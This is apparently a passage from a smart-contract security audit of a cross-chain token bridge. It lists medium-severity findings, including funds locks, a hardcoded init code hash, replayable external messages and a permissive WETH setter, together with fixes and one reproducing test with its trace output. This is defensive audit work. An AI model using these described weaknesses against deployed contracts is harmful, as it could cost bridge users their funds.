Paths	./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperLiquidity.sol : `_getLPToken()` ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperTokens.sol : `_getNativeToken()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM
Vulnerability Type	Incorrect Hardcoded Value
Status	Acknowledged
Resolution	with customer notice: `Hardcoded token hash is the cheapest method for deriving token address. All risks are known, MultiVaultToken code won't be changed in any future upgrades. If the code is updated by mistake, automatic tests will fail.`

Description

The methods `_getLPToken()` and `_getNativeToken()` are responsible for calculating the LP and Native token addresses, respectively. Both methods rely on a hardcoded value for the MultiVaultToken `init code hash`, which determines the resulting token address.

Any modification to the MultiVaultToken contract can change the `init code hash`, causing the hardcoded value to become invalid. This can lead to unpredictability in the system and potential losses.

The main concern arises from:

- The use of the hardcoded `hex'192c19818bebb5c6c95f5dcb3c3257379fc46fb654780cb06f3211ee77e1a360'` which represents the MultiVaultToken `init code hash`.
- The absence of an automated mechanism to derive the hash value, leading to manual and error-prone updates if the MultiVaultToken contract is ever modified.

```
...
    hex'192c19818bebb5c6c95f5dcb3c3257379fc46fb654780cb06f3211ee77e1a360' // MultiVaultToken init code hash
...
```

Impact

If the MultiVaultToken contract undergoes changes and the init code hash is not updated manually:

- The system may calculate incorrect token addresses.
- Users might lose access to their funds due to inaccessible or nonexistent token contracts.
- A decrease in the overall trust in the system's robustness and reliability.

Proof of Concept

Assuming the MultiVaultToken contract is modified and deployed:

- The init code hash will differ from the hardcoded value.
- Any function call to `_getLPToken()` or `_getNativeToken()` will produce incorrect token addresses.
- Users interacting with these incorrect addresses will either send funds to inaccessible contracts or encounter failed transactions.

Recommendation

- Eliminate the hardcoded hash value from the `_getLPToken()` and `_getNativeToken()` methods to prevent any inaccuracies in token address calculations.
- Develop and integrate a mechanism within the system that dynamically calculates the MultiVaultToken init code hash during runtime using the contract's creation code, thus ensuring that the hash value is always current and accurate.
- Rather than calculating the token addresses every time within the `_getLPToken()` and `_getNativeToken()` methods, refine the system architecture to store the addresses of deployed tokens in mappings. This approach will enhance the system's efficiency and reliability by providing direct access to accurate token addresses, mitigating the risks associated with address miscalculations.

Potential Funds Lock on Event Rejection in `EVM` to `TVM` Bridge

The `EthereumEverscaleBaseEvent` contract has a potential issue where user funds can become locked if an event is rejected. This occurs because the `onReject()` function lacks a mechanism to return the event contract balance back to the initializer, potentially jeopardizing user funds.

ID	VN-046
Paths	./everscale/contracts/bridge/event-contracts/base/evm/EthereumEverscaleBaseEvent.tsol : `re`

	`ject()` ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventAlien.tsol ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventNative.tsol
Commit	f739553
Impact	Medium
Likelihood	Medium
Severity	**MEDIUM**
Vulnerability Type	Funds Lock
Status	Fixed in b5559c5

Description

The `EthereumEverscaleBaseEvent` contract implements basic `confirm()` and `reject()` functions. According to the `constructor` description, the `initializer` is the one who receives all the contract balance at the end of the event contract lifecycle. This is the case only when event is confirmed.

However, the refund functionality is not implemented in the contract for rejected events. The `onReject()` function is defined in the inherited `BaseEvent` contract with no logic embedded.

The contract could be deployed as a part of:

- `MultiVaultEVMEverscaleEventAlien` and `MultiVaultEVMEverscaleEventNative` contracts.
  - The same issue is present there; the `onReject` function is not reassigned.
- `StakingEthereumEverscaleEvent` and `TokenTransferEthereumEverscaleEvent` contracts. - The issue is resolved in them via overriding the `onReject()` function, including transfer instructions. `solidity function onReject() override internal { ... transferAll(initializer); }` As a result, funds are locked in the contract, violating the requirement and making the contract balance unrecoverable.

Impact

Funds attached to the contract deployment would not be returned. According to the execution flow the contract is designed to hold a small value.

Recommendation

Implement the `onReject()` function in the `MultiVaultEVMEverscaleEventAlien` and `MultiVaultEVMEverscaleEventNative` contracts.

```
function onReject() virtual override internal {
    transferAll(initializer);
}
```

Incorrect Alien Token Value Passed in the `_callbackAlienWithdrawal()` Function

Miscomputation of alien token withdrawal amounts during the callback on the EVM side.

Issue ID	VN-087
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetDeposit.sol : `deposit()`, `_dep`

	`osit()`
Commit	f739553
Impact	Medium
Likelihood	Medium
Severity	**MEDIUM**
Vulnerability Type	Invalid Calculations
Status	Fixed in b5559c5

Description

The `MultiVaultFacetDeposit` contract facilitates token transfers through the bridge from the EVM to the Venom chain. It also allows the selection of certain pending withdrawals of the same tokens to prioritize bridge transfers. One of the features of this system is the ability for users to declare a bounty, providing an incentive for others to provide liquidity for specific withdrawals.

In the context of the Bridge system, users can transfer tokens from one chain to another. However, in cases where there are insufficient tokens on one chain to fulfill a withdrawal, the user's withdrawal is set to "Pending." To encourage the bridge to maintain a sufficient token balance for withdrawals, users can set a bounty on their withdrawal.

Other users from the same chain can claim the bounty by depositing or bridging the required tokens from that chain to another. When this occurs, the pending withdrawal is fulfilled, triggering a callback function called `_callbackAlienWithdrawal()`. This function should reflect the correct amount of tokens withdrawn, taking into account the bounty set by the user. However, the current implementation fails to deduct the bounty amount from the total withdrawn, resulting in an incorrect value being passed to `_callbackAlienWithdrawal()`.

Impact

While this issue does not pose systemic risks to the bridge, it leads to inaccuracies in the data received by the recipient on the EVM side, identified as `pendingWithdrawalId.recipient`. This misrepresentation could potentially disrupt custom logic on the user's side or lead to confusion.

Recommendation

To address this issue, we recommend implementing the following corrections:

- Deduct the bounty amount from the withdrawal parameter: `IMultiVaultFacetWithdraw.AlienWithdrawalParams.amount`.
- Within the `_callbackAlienWithdrawal` function, subtract the `_withdrawAmount` by the bounty amount.

Below is a suggested code snippet reflecting these corrections:

```
_callbackAlienWithdrawal(
    IMultiVaultFacetWithdraw.AlienWithdrawalParams({
        token: pendingWithdrawal.token,
        amount: pendingWithdrawal.amount - pendingWithdrawal.bounty,
        recipient: pendingWithdrawalId.recipient,
        chainId: pendingWithdrawal.chainId,
        callback: pendingWithdrawal.callback
    }),
    pendingWithdrawal.amount - pendingWithdrawal.bounty
);
```

Incorrect Funds Receiver On Early Event Destruction

The `onInit()` function validates the contract's balance and may mistakenly return funds to a `recipient` instead of the intended `initializer`, potentially causing unexpected fund transfers.

ID	VN-048
Paths	./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventNative.tsol: `onInit()` ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventAlien.tsol: `onInit()`
Commit	f739553
Impact	Medium
Likelihood	Medium
Severity	**MEDIUM**
Vulnerability Type	Broken Funds Flow
Status	Fixed in b5559c5

Description

The `onInit()` function is called at the end of the `EthereumEverscaleBaseEvent` contract `constructor()`. The `MultiVaultEVMEverscaleEventNative` and `MultiVaultEVMEverscaleEventAlien` contracts override the `onInit()` function. The following check is presented in the new `onInit()` function implementation.

```
if (address(this).balance < expected_evers) {
    recipient.transfer({ value: 0, bounce: false, flag: 128 + 32 });
    return;
}
```

The purpose of this logic is to validate if the contract balance is sufficient; otherwise, the contract is destroyed. All remaining balance is returned to the `recipient` retrieved from the static `eventInitData`.

However, based on the design, `eventInitData.voteData.eventData.recipient` is a user interacting with the bridge (account to receive cross-chain transfers), not the event `initializer` who is expected to receive the contract balance upon destruction.

The `initializer` may be an off-chain system that expects to receive funds back after the event is no longer needed, and funds are unexpectedly transferred to the `receiver`.

Impact

The initial amount of funds stored in the event contract is not huge.

Recommendation

1. Clearly document the contract balance flow, mentioning edge cases (funds recipient in case the contract was not initialized properly and needs to be destroyed, etc.).
2. Return the initial funding to the initializer in case the contract needs to be destroyed early.

Incorrect Implementation of Diamonds Storage Slots

The storage management of certain smart contracts shows deviations from the Diamond standard. These discrepancies are rooted in the use of outdated or "LEGACY" storage positions, raising concerns about potential storage slot collisions in the future.

ID	VN-038
Paths	./ethereum/contracts/multivault/multivault/storage/MultiVaultStorageInitializable.sol : `INITIALIZABLE_LEGACY_STORAGE_POSITION` ./ethereum/contracts/multivault/multivault/storage/MultiVaultStorageReentrancyGuard.sol : `REENTRANCY_GUARD_LEGACY_STORAGE_POSITION` ./ethereum/contracts/multivault/multivault/storage/MultiVaultStorage.sol : `MULTIVAULT_LEGACY_STORAGE_POSITION`
Commit	f739553
Impact	High
Likelihood	Low
Severity	**MEDIUM**
Vulnerability Type	Incorrect Implementation of Diamonds
Status	Mitigated in b5559c5
Resolution	Documentation in `README.md` file updated.

Description

Diamonds offer a methodical way to manage storage in modular, upgradeable smart contracts. In the contracts in question, storage slots are assigned using an older, legacy methodology. Adopting such a strategy can lead to the risk of storage collisions during future contract upgrades or deployments.

Impact

The utilization of legacy storage positions in conjunction with the Diamond standard presents a notable risk. Given that new facets in a Diamond can introduce new storage slots, there exists a tangible possibility of a collision between these new slots and the legacy ones in use. Such a collision could overwrite existing data, destabilize the contract's operations, and jeopardize the assets or funds it manages.

Recommendation

- Transition from the hardcoded legacy storage positions to storage methodologies compliant with the Diamond standard.
- Determine storage slots using the formula keccak256(abi.encode(keccak256("namespace.storage") - 1)) as opposed to the outdated method.

Inefficient Gas Management in `EthereumEverscaleEventConfiguration` Contract

The `EthereumEverscaleEventConfiguration` contract contains functions for deploying events, with a potential gas management issue in higher-level functions that may lead to transaction failures due to a lack of aggregate value checks.

ID	VN-032
Paths	everscale/contracts/bridge/event-configuration-contracts/evm/EthereumEverscaleEventConfiguration.tsol: `deployEvent()`, `deployEvents()`, `_deployEvent()`

Commit	f739553
Impact	Medium
Likelihood	Low
Severity	MEDIUM
Vulnerability Type	Gas Management
Status	Fixed in b5559c5

Description

The `EthereumEverscaleEventConfiguration` contract contains three functions (`deployEvent()`, `deployEvents()`, `_deployEvent()`) responsible for deploying events. While the `_deployEvent()` function checks if `msg.value` is greater than or equal to `basicConfiguration.eventInitialBalance`, there is a lack of proper gas management in the higher-level functions that call `_deployEvent()`.

1. **Lack of Aggregate Check in `deployEvents()`**: The `deployEvents()` function iterates over the `values` array but does not perform a cumulative check to ensure that the sum of `values` is less than or equal to `msg.value`. This can lead to scenarios where the gas used might exceed the available gas, causing potential transaction failures.

2. **Redundant Check in `_deployEvent()`**: The check `msg.value >= basicConfiguration.eventInitialBalance` in `_deployEvent` might be redundant when the function is called from `deployEvents()` since the latter ensures that each value in the `values` array is greater than or equal to `basicConfiguration.eventInitialBalance`.

Impact

- **Transaction Failures**: Without proper gas management, there is a risk of transactions failing due to gas exhaustion, especially when deploying multiple events using the `deployEvents()` function.

- **Gas Inefficiency**: Redundant checks and lack of aggregate validation can lead to wastage of gas, increasing transaction costs for users.

- **Code Maintainability**: Improving the gas management logic enhances the clarity and maintainability of the code, reducing the likelihood of bugs in future modifications.

Recommendation

1. **Introduce Aggregate Check**: Before iterating over the `eventsVoteData` and `values` arrays in the `deployEvents()` function, calculate the sum of `values` and compare it with `msg.value` to ensure there is sufficient gas for all deployments.

```
uint totalValue = 0;
for (uint128 value: values) {
    totalValue += value;
}
require(msg.value >= totalValue, "Insufficient gas for all deployments");
```

2. **Refactor `_deployEvent` Check**: If the `value` parameter passed to `_deployEvent` is not zero, then and only then perform the check for `value >= basicConfiguration.eventInitialBalance`.

```
if (value != 0) {
    require(value >= basicConfiguration.eventInitialBalance, "Insufficient gas for deployment");
}
```

Mismanagement of `fee-on-transfer` Tokens in Liquidity Facet

The `mint()` function in the `MultiVaultFacetLiquidity` contract does not properly handle tokens with built-in transfer fees, leading to potential discrepancies in token amounts.

ID	VN-041
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetLiquidity.sol : `mint()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	**MEDIUM**
Vulnerability Type	Invalid Validation
Status	Fixed in b5559c5

Description

The logic of the `mint()` function in the `MultiVaultFacetLiquidity` contract is not designed to account for `fee-on-transfer` tokens.

When such tokens are utilized, they deduct a fee from the transferred amount. Consequently, the expected and actual amount received by the contract diverges.

This discrepancy is critical in the context of the `mint()` function where an exact amount is expected to be added to the bridge. The `redeem()` function is less concerning since users can receive fewer tokens without causing significant issues. However, the `mint()` function integrity and expected behavior are compromised when `fee-on-transfer` tokens are used.

Impact

If a `fee-on-transfer` token is used with the `mint()` function, the actual tokens received by the contract will be less than the specified amount. This difference can lead to imbalances in liquidity management, especially when new LP tokens are minted based on the amount rather than the actual received tokens. It poses potential risks to liquidity providers and could distort the value representation of LP tokens.

Recommendation

- Modify the `mint()` function to validate the actual token balance received against the specified amount. If they do not match, the function should either revert or adjust the LP tokens minted based on the actual received amount.
- As a preventative measure, maintain a list of approved tokens and prevent any non-approved token from interacting with the contract to ensure that `fee-on-transfer` tokens or any other special type of tokens do not inadvertently break the system logic.

Potential `WETH` Address Manipulation

The function `setWeth()` may be utilized to alter the address linked to the `WETH` token.

ID	VN-034
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetSettings.sol : `setWeth()`
Commit	f739553

Impact	High
Likelihood	Low
Severity	**MEDIUM**
Vulnerability Type	Highly Permissive Role
Status	Fixed in b5559c5

Description

The `setWeth()` function in the bridge smart contract provides a mechanism to change the `WETH` token address used within the system.

If malicious actors gain access to the governance or if there is a misunderstanding in project management, they might change the `WETH` address to an unintended one.

When users transfer their tokens through the bridge relying on the `WETH` address, their tokens could be redirected to an unknown or malicious address, potentially leading to the irreversible loss of funds.

Impact

- User tokens might be lost or redirected to a malicious address without any possibility of recovery.
- Subsequent operations relying on the accurate `WETH` address in the system could fail or behave unexpectedly.

Recommendation

- Remove given function from the code.
- Implement a multi-signature mechanism or a timelock for changing critical addresses, like the `WETH` address, to ensure that it cannot be altered hastily or without consensus.
- Regularly audit and monitor the `setWeth()` function calls to ensure the address remains legitimate.

Potential Funds Lock on Token Burn in `TVM` to `EVM` Bridge

The smart contract `ProxyMultiVaultAlien_V7_Withdraw.tsol` in the TVM to EVM bridge has a flaw that allows the burning of tokens without proper error handling, potentially leading to irreversible fund loss for users.

ID	VN-045
Paths	./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7_Withdraw.tsol: `onAcceptTokensBurn()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	**MEDIUM**
Vulnerability Type	Logic Bug / Funds Lockup
Status	Mitigated in b5559c5
Resolution	Documentation in `README.md` file updated.

Description

The smart contract `ProxyMultiVaultAlien_V7_Withdraw.tsol` in the TVM to EVM bridge exhibits a flaw.

When users attempt to burn tokens on the Everscale side, the `burn()` function is triggered, which, under normal circumstances, invokes the `onAcceptTokensBurn()` function. This function is responsible for deploying an event by calling `_deployEVMEvent()`, and the relayers are then expected to vote on these events to mint tokens on the EVM side.

However, within the `TokenRootBase.tsol` contract, specifically within the `acceptBurn()` function, there exists a flag named `TokenMsgFlag.IGNORE_ERRORS`. This flag essentially permits the function to disregard any errors.

The presence of this flag can pose a problem, as it can lead to situations where users may burn tokens, resulting in a reduction in their total supply. If any error occurs during this process, it is simply ignored.

It is noteworthy that if a user invokes the `burn()` function with a low Gas amount that results in a revert due to `out of Gas`, the tokens are still burned, but no corresponding event will be deployed. This implies that the user loses funds without any mechanism in place to recover them.

Impact

- **User Funds Loss**: The current vulnerability puts user funds at risk. They may burn their tokens, and due to an unnoticed error, the tokens get permanently locked without any event creation.
- **Trustworthiness**: Such vulnerabilities can severely impact the trustworthiness of the platform. Given the bridge's critical nature, it's essential to ensure all edge cases are handled, and user funds are not put at risk.

Proof of Concept (POC)

```
it('Check total supply first', async () => {
        const totalSupply = await alienTokenRoot.methods.totalSupply({
            answerId: 0
        }).call();
        const walletAddress = await alienTokenRoot.methods.walletOf({
            answerId: 0,
            walletOwner: initializer.address
        }).call();
        initializerAlienTokenWallet = await locklift.factory.getDeployedContract(
            'AlienTokenWalletUpgradeable',
            walletAddress.value0
        );
        const balance = await initializerAlienTokenWallet.methods.balance({
            answerId: 0
        }).call();
        console.log(`what is totalSupply before burn of low msg.value :, ${totalSupply.value0} and balance: ${balance.va
    });
    it('Burn tokens in favor of proxy', async () => {
        ...
        ...
        ...
        logger.log(`Before burning, amount: ${amount}, balance of user: ${balance.value0}` )
        const tx =  await locklift.tracing.trace(
            initializerAlienTokenWallet.methods.burn({
                amount,
                remainingGasTo: eventCloser.address,
                callbackTo: proxy.address,
                payload: burnPayload.value0
            }).send({
                from: initializer.address,
                amount: locklift.utils.toNano(1) // THIS IS NOT ENOUGH TO DEPLOY EVENT
            }));
        ...
        ...
        ...
        });
    it('Check total supply second', async () => {
```

```
        const totalSupply = await alienTokenRoot.methods.totalSupply({
            answerId: 0
        }).call();
        const walletAddress = await alienTokenRoot.methods.walletOf({
            answerId: 0,
            walletOwner: initializer.address
        }).call();
        initializerAlienTokenWallet = await locklift.factory.getDeployedContract(
            'AlienTokenWalletUpgradeable',
            walletAddress.value0
        );
        const balance = await initializerAlienTokenWallet.methods.balance({
            answerId: 0
        }).call();
        console.log(`what is totalSupply after burn of low msg.value :, ${totalSupply.value0} and balance: ${balance.va
    });
```

Output:

```
what is totalSupply before burn of low msg.value :, 1000 and balance: 1000
    ✔ Check total supply first
    - Before burning, amount: 333, balance of user: 1000
                ⬇
                ⬇
        #1 action out of 1
Addr: 0:375893893b8f3c100f41faf9e0f2c21252bc428b393b7e8620a150c14401f667
MsgId: 44bf309575528a303fc95ed42e64bab9147f0c4bb877735e36096c3a8a003422
----------------------------------------------------------------
WalletV3.undefinedMethod{value: 0.000, bounce: false}()
Storage fees: 0.000
Compute fees: 0.002994
Action fees: 0.0004258
Total fees: 0.004905
Gas used: 2,994/1,000,000 (0.30%)
                ⬇
                ⬇
        #1 action out of 1
Addr: 0:1efb176031f832d6efb3c7cc422c3367ae24971116d4f946bab32bdd77a86333
MsgId: 6c1b69b0380b0e7659eaef1b00c9755583864545c327fc54a5a562c4cfc73655
----------------------------------------------------------------
AlienTokenWalletUpgradeable.burn{value: 1.000, bounce: true}(
    amount: "333"
    remainingGasTo: "0:e93f15d1479950de32c47c836a1d91a5ed4eb4a12f146af7e40189ec6bf874a3"
    callbackTo: "0:d356274ec3eb00271fb930200308ef8d2a0ad31243477549c6dc438f5dfba4a6"
    payload: "te6ccgEBAwEANgABCgAAAAABAQFRAAAAAAAAAAAAAAAAAAAAAAAAA3gAAAAAAAAAAAAAAAAAAAAAAAAAEACAAA="
)
Storage fees: 0.000
Compute fees: 0.01017
Action fees: 0.0004870
Total fees: 0.01066
Gas used: 10,173/1,000,000 (1.0%)
                ⬇
                ⬇
        #1 action out of 1
Addr: 0:a26b6ff729ce862334af49b3bced93a1bbf867a95a951b204a81c848a905db0e
MsgId: 205974c1ba7015d37fba67b1cc9ab2d5b7647d6e00ad3bae198f0cd9b83eb761
----------------------------------------------------------------
TokenRootAlienEVM.acceptBurn{value: 0.9884, bounce: true}(
    amount: "333"
    walletOwner: "0:375893893b8f3c100f41faf9e0f2c21252bc428b393b7e8620a150c14401f667"
    remainingGasTo: "0:e93f15d1479950de32c47c836a1d91a5ed4eb4a12f146af7e40189ec6bf874a3"
    callbackTo: "0:d356274ec3eb00271fb930200308ef8d2a0ad31243477549c6dc438f5dfba4a6"
    payload: "te6ccgEBAwEANgABCgAAAAABAQFRAAAAAAAAAAAAAAAAAAAAAAAAA3gAAAAAAAAAAAAAAAAAAAAAAAAAEACAAA="
)
Storage fees: 0.000
Compute fees: 0.01856
Action fees: 0.0004870
Total fees: 0.01905
Gas used: 18,562/988,366 (1.9%)
                ⬇
```

```
                ⬇
        #1 action out of 1
Addr: 0:d356274ec3eb00271fb930200308ef8d2a0ad31243477549c6dc438f5dfba4a6
MsgId: becb6eb7f991d0449617058aef9728345fa80fe36d22010f1df0dc9d31a06c47
----------------------------------------------------------------
ProxyMultiVaultAlien_V7.onAcceptTokensBurn{value: 0.9683, bounce: false}(
    amount: "333"
    sender: "0:375893893b8f3c100f41faf9e0f2c21252bc428b393b7e8620a150c14401f667"
    value2: "0:1efb176031f832d6efb3c7cc422c3367ae24971116d4f946bab32bdd77a86333"
    remainingGasTo: "0:e93f15d1479950de32c47c836a1d91a5ed4eb4a12f146af7e40189ec6bf874a3"
    payload: "te6ccgEBAwEANgABCgAAAAABAQFRAAAAAAAAAAAAAAAAAAAAAAAAA3gAAAAAAAAAAAAAAAAAAAAAAAAAAEACAAA="
)
Storage fees: 0.000
Compute fees: 0.01573
Action fees: 0.0005082
Total fees: 0.01624
Gas used: 15,729/968,343 (1.6%)
                ⬇
                ⬇
        #1 action out of 1
Addr: 0:486228bfed59b29a0add7bcac1597b726eef71fd0ffc8ea14d480e82bd9a0d57
MsgId: 9dbac577914d8b3003a8136314bc6706962671c495c433e98f7b4409be8e0866
----------------------------------------------------------------
EverscaleEthereumEventConfiguration.deployEvent{value: 0.9511, bounce: false}(
    eventVoteData: {
    "eventTransactionLt": "19987",
    "eventTimestamp": "1696856255",
    "eventData": "te6ccgEBBQEA0gABSwAAAACAGmrE6dh9YATj9yYEAGEd8aVBWmJIaO6pONuIceu/dJTQAQFDgBRNbf7lOdDEZpXpNnedsnQ3fwz1K:
}
)
Storage fees: 5.000e-9
Compute fees: 0.005272
Total fees: 0.005272
Gas used: 5,272/951,089 (0.55%)
----------------------------------------------------------------
[ERROR]  !!! Reverted with 2213 error code on compute phase !!!
[ERROR]  undefined
----------------------------------------------------------------
    1) Burn tokens in favor of proxy
what is totalSupply after burn of low msg.value :, 667 and balance: 667
```

Recommendation

To mitigate this issue:

1. **Check for Minimum Amount**: Implement a control mechanism to check if the amount sent to the `burn` function is above a certain threshold. If below, the function should mint back lost tokens.

```
if(msg.value < requiredAttachedValue ) {
     //User called burn function with too low value
     //Here return back funds to the user
}
```

2. **Detailed Documentation**: Thoroughly document the token bridge process, highlighting scenarios, expected outcomes, potential risks, and considerations.

Potential Overpayment in Token Deposit Functionality

Users may inadvertently overpay when depositing tokens due to a mismatch between the attached EVM value `msg.value` and the `expected_evers` parameter, leading to an excessive amount being transferred to `gasDonor`.

ID	VN-003
Paths	./ethereum/multivault/multivault/facets/MultiVaultFacetDeposit.sol : `depositByNativeToken()`,

	`deposit()`, `_deposit()`
Commit	f739553
Impact	Medium
Likelihood	Low
Severity	**MEDIUM**
Vulnerability Type	Financial/Economic
Status	Mitigated in b5559c5
Resolution	with customer notice: `Due to the lack of oracles, there's no way to reliably estimate the exchange rate. Setting up the upper limit for msg.value based on the exchange rate estimation from above, can lead to denial of service during periods of exchange rate fluctuations. Also, overpaying does not result in funds loss. Instead, user receives more VENOMs than expected, which can be converted back later.`

Description

The token bridge deposit functionality allows users to deposit tokens from an EVM-based blockchain to Venom. During this process, users can choose to pay for the event contract deployment in EVM gas tokens or in EVERs, the Venom native currency.

Two key points arise:

- If a user decides to pay in EVERs, they need to manually deploy the event contract. Otherwise, the event contract deployment is automatic when paid with EVM gas tokens.
- The actual check to validate if the `expected_evers` parameter matches the attached `msg.value` is not performed on the EVM side. This oversight leads to the possibility of users overpaying.

```
function deposit(DepositParams memory d)
    external
    payable
    override
    nonReentrant
    tokenNotBlacklisted(d.token)
    initializeToken(d.token)
    onlyEmergencyDisabled
{
    _deposit(d, msg.value, msg.sender);
}
...
modifier drainGas() {
    _;
    MultiVaultStorage.Storage storage s = MultiVaultStorage._storage();
    address payable gasDonor = payable(s.gasDonor);
    if (gasDonor != address(0)) {
        (bool sent,) = gasDonor.call{value: address(this).balance}("");
        require(sent);
    }
}
```

Impact

Overpayment may result in:

- Financial losses for users.
- Unintended accumulation of funds in the `gasDonor` account.
- A reduced trust in the token bridge system, as users may be wary of potential overcharges.

Proof of Concept

To exploit this oversight:

- A user initiates a token deposit transaction, setting the `msg.value` to a higher amount than required.
- The token bridge contract does not validate if the `expected_evers` matches the msg.value.
- Excess funds are transferred to the `gasDonor` account, leading to overpayment.

Recommendation

Given the intricacies of bridging between EVM and TVM, the potential mismatches between `msg.value` and `expected_evers`, and the unique characteristics of the token bridge system, it's imperative to provide comprehensive documentation to guide users effectively. The documentation should encompass:

- **Detailed Explanation of `msg.value` and `expected_evers`**: Dive deep into the significance of both terms, their role in the bridging process, and why mismatches might occur. Use diagrams, flowcharts, or illustrative examples to make it clear.
- **Gas Costs And Their Dynamics**: Elucidate how gas costs are determined, their fluctuations, and how they play into the `expected_evers` value. A side-by-side comparison of EVM vs. TVM gas mechanisms might be helpful.

Transaction Replay Possibility in `close()` Function

The `close()` function may be susceptible to transaction replay attacks if the contract's balance is insufficient to cover an arbitrary number of calls performed within it.

ID	VN-057
Paths	./everscale/contracts/bridge/hidden-bridge/EventCloser.tsol: `close()`
Commit	f739553
Impact	Medium
Likelihood	Low
Severity	MEDIUM
Vulnerability Type	TVM Specific
Status	Fixed in b5559c5

Description

Validators are able to replay failing external messages, which leads to contract balance griefing.

The TON-Solidity philosophy avoids an infinite data tail. Validators aren't required to store all accepted messages. The same external message can be included multiple times if the contract agrees to pay for it.

At the SDK level, a simple replay check is in place by default. It relies on a hidden static variable `uint64 timestamp` within the contract, storing the creation time of the last accepted external message. The default `AbiHeader time` expects external messages to contain a `time` field. There is a verification that the last accepted message's creation time is earlier than the new one. If it succeeds, the `timestamp` variable is updated.

However, there's a drawback. Errors in the contract occurring after `tvm.accept()`, like additional `require` statements, cause the transaction to fail. The entire contract state reverts to the start, and the `timestamp` variable isn't updated to the new value. This allows validators to include the same external message as many times as they want until the contract balance is sufficient and the message hasn't expired (if `AbiHeader expire` is specified).

It's important to note that action phase errors also lead to this issue. If the `value` in a call exceeds the contract balance, and the provided `flag` doesn't contain the `+2` modifier (ignore exceptions), the transaction fails and could be replayed.

```
function close(address[] events) external ... {
    tvm.accept();
    for (address e: events) {
        EverscaleEthereumBaseEvent(e).close{ bounce: true, flag: 0, value: 0.1 ever }();
    }
}
```

The `close()` function of the `EventCloser` contract performs an arbitrary number of calls with each attached `0.1 ever` without a preliminary balance check.

The `flag: 0` allows transaction revert in case the contract balance is insufficient to satisfy the value.

Impact

An arbitrary amount of funds may be lost as arbitrary number of events is processed.

Proof of Concept

The issue is described in detail in the article.

REMP (Reliable External Messaging Protocol) was developed to fix a list of issues related to external message processing. However, it is not implemented yet. The specification could be found in the whitepaper. Some high-level details are shared in the article.

Recommendation

Verify that the contract balance is sufficient before `tvm.accept()` or reject the message processing.

User Funds Mismanagement in `propose()` Function

Users may not receive the change back due to possible call chain failure.

ID	VN-099
Paths	./everscale/contracts/dao/DaoRoot.tsol: `propose()`
Commit	f739553
Impact	Medium
Likelihood	Medium
Severity	MEDIUM
Vulnerability Type	Funds Lock
Status	Acknowledged

Description

According to the TVM design, smart contract code and static variable values fully determine a contract address in the blockchain. This feature allows for calculating the contract address independently of the fact of its deployment.

However, the architecture creates the following risk: the contract may not be deployed yet, and any call to it will be reverted, potentially breaking a call chain.

```
function target() {
    Contract.tryCall{}();
}
onBounce(TvmSlice slice) external {
    uint32 selector = slice.decode(uint32);
    if (selector == tvm.functionId(Contract.tryCall)) {
        new Contract{ stateInit: _buildInitData() }();
        Contract.tryCall{}();
    }
}
```

The risk is commonly managed with the "deploy on bounce" pattern. If a call fails and a bounce message is created, the contract is deployed, and the call is executed again.

```
function propose(...) ... {
    ...
    require(actionsAmount != 0, DaoErrors.ACTIONS_MUST_BE_PROVIDED);
    require(actionsAmount <= proposalMaxOperations, DaoErrors.TOO_MANY_ACTIONS);
    require(bytes(description).length <= proposalMaxDescriptionLen, DaoErrors.DESCRIPTION_TOO_LONG);
    ...
    require(
        msg.value >= ethTotalGasValue + tonTotalGasValue + Gas.DEPLOY_PROPOSAL_VALUE,
        DaoErrors.MSG_VALUE_TOO_LOW_TO_CREATE_PROPOSAL
    );
    ...
    IStakingAccount(expectedStakingAccountAddress(msg.sender)).propose{ value: 0, flag: MsgFlag.REMAINING_GAS }();
}
```

The `propose()` function does not check if the user has a staking account. The `DaoRoot` contract does not implement the `onBounce()` functionality.

Therefore, if the `msg.sender` is not pre-registered, the call to the staking account will fail and bounce to the `DaoRoot` contract without further processing (no `onBounce()` function means that attached funds are accepted, and no logic is executed).

Impact

The function is not protected with any access control modifiers and is designed to accept and process an arbitrary amount of funds. The total `msg.value` is locked in the contract in the mentioned case, and there is no easy way to rescue the locked funds.

Recommendation

There are several possible solutions:

- Revert the transaction if the staking account for the user does not exist.
- Implement the mentioned "deploy on bounce" mechanism.

Absence of Descriptive Messages in `require()` Statements

Multiple contracts lack descriptive error messages within their `require()` conditions, potentially reducing the clarity of failed transactions and debugging challenges.

ID	VN-004
Paths	./ethereum/DAO.sol : `notZeroAddress()` ./ethereum/multivault/MultiVaultToken.sol : `initialize()` ./ethereum/multivault/multivault/facets/MultiVaultFacetDeposit.sol : `_deposit()`

	./ethereum/multivault/multivault/facets/MultiVaultFacetFees.sol : `skim()` ./ethereum/multivault/multivault/facets/MultiVaultFacetLiquidity.sol : `mint()` ./ethereum/multivault/multivault/facets/MultiVaultFacetPendingWithdrawals.sol : `setPendingWithdrawalBounty()`, `forceWithdraw()`, `cancelPendingWithdrawal()`, `setPendingWithdrawalApprove()`, `setPendingWithdrawalApprove()` ./ethereum/multivault/multivault/facets/MultiVaultFacetSettings.sol : `setDailyWithdrawalLimits()`, `setUndeclaredWithdrawalLimits()`, `setEmergencyShutdown()`, `setCustomNative()` ./ethereum/multivault/multivault/facets/MultiVaultFacetWithdraw.sol : `saveWithdrawNative()`, `saveWithdrawAlien()` ./ethereum/multivault/multivault/helpers/MultiVaultHelperActors.sol : `onlyPendingGovernance()`, `onlyGovernance()`, `onlyGovernanceOrManagement()`, `onlyGovernanceOrWithdrawGuardian()` ./ethereum/multivault/multivault/helpers/MultiVaultHelperCallback.sol : `checkCallbackRecipient()`, `_execute()` ./ethereum/multivault/multivault/helpers/MultiVaultHelperEmergency.sol : `onlyEmergencyDisabled()` ./ethereum/multivault/multivault/helpers/MultiVaultHelperFee.sol : `respectFeeLimit()` 